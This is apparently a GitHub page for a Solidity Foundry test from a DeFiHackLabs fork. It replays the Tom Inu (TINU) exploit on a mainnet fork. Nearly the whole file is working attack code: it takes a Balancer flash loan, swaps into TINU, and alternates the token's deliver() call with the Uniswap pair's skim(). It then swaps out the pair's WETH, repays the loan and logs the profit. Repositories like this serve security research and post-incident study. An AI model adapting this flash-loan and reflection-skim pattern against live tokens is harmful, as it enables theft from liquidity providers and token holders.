forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
TINU_exp.t.sol
126 lines (100 loc) · 4.96 KB
/
TINU_exp.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
// Total lost: 22 ETH
// Attacker: 0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195
// Attack Contract: 0xdb2d869ac23715af204093e933f5eb57f2dc12a9
// Vulnerable Contract: 0x2d0e64b6bf13660a4c0de42a0b88144a7c10991f
// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668
// https://etherscan.io/tx/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668
// @Analysis
// https://twitter.com/libevm/status/1618731761894309889
contract TomInuExploit is Test {
IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
reflectiveERC20 private constant TINU = reflectiveERC20(0x2d0E64B6bF13660a4c0De42a0B88144a7C10991F);
IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private constant TINU_WETH = IUniswapV2Pair(0xb835752Feb00c278484c464b697e03b03C53E11B);
function testHack() external {
vm.createSelectFork("https://eth.llamarpc.com", 16_489_408);
// flashloan WETH from Balancer
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 104.85 ether;
balancerVault.flashLoan(address(this), tokens, amounts, "");
}
function receiveFlashLoan(
reflectiveERC20[] memory,
uint256[] memory amounts,
uint256[] memory,
bytes memory
) external {
// swapp WETH for TINU to give Pair large fees
WETH.approve(address(router), type(uint256).max);
TINU.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(TINU);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
104.85 ether, 0, path, address(this), type(uint256).max
);
console.log("%s TINU in pair before deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18);
console.log("%s TINU in attack contract before deliver", TINU.balanceOf(address(this)) / 1e18);
console.log("-------------Delivering-------------");
TINU.deliver(TINU.balanceOf(address(this))); // give away TINU
console.log("%s TINU in pair after deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18);
console.log("%s TINU in attack contract after deliver", TINU.balanceOf(address(this)) / 1e18);
console.log("-------------Skimming---------------");
TINU_WETH.skim(address(this));
console.log("%s TINU in pair after skim", TINU.balanceOf(address(TINU_WETH)) / 1e18);
console.log("%s TINU in attack contract after skim", TINU.balanceOf(address(this)) / 1e18);
console.log("-------------Delivering-------------");
TINU.deliver(TINU.balanceOf(address(this)));
console.log("%s TINU in pair after deliver 2", TINU.balanceOf(address(TINU_WETH)) / 1e18);
console.log("%s TINU in attack contract after deliver 2", TINU.balanceOf(address(this)) / 1e18);
// WETH in Pair always = 126
TINU_WETH.swap(0, WETH.balanceOf(address(TINU_WETH)) - 0.01 ether, address(this), "");
// repay
WETH.transfer(address(balancerVault), amounts[0]);
console.log("\n Attacker's profit: %s WETH", WETH.balanceOf(address(this)) / 1e18);
}
}
/* -------------------- Interface -------------------- */
interface reflectiveERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function deliver(uint256 tAmount) external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
}
interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function sync() external;
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
}